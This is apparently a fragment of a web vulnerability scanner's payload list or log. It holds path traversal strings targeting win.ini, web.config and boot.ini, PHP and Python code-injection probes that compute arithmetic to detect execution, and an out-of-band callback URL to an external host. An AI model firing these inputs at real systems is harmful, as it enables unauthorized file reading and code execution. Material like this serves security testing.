3
/../../../../../../../../../../windows/win.ini
<?=(int)0xFFF9999-56909;//?>
/../../../../../../../../../../web.config
"+print(int)0xFFF9999-7383+"
http://r87.me/r/?id=9rq7epzlbikq2hwsn8ccqpoubgy21u6ene-eg04gxy0
c%3a%5cboot.ini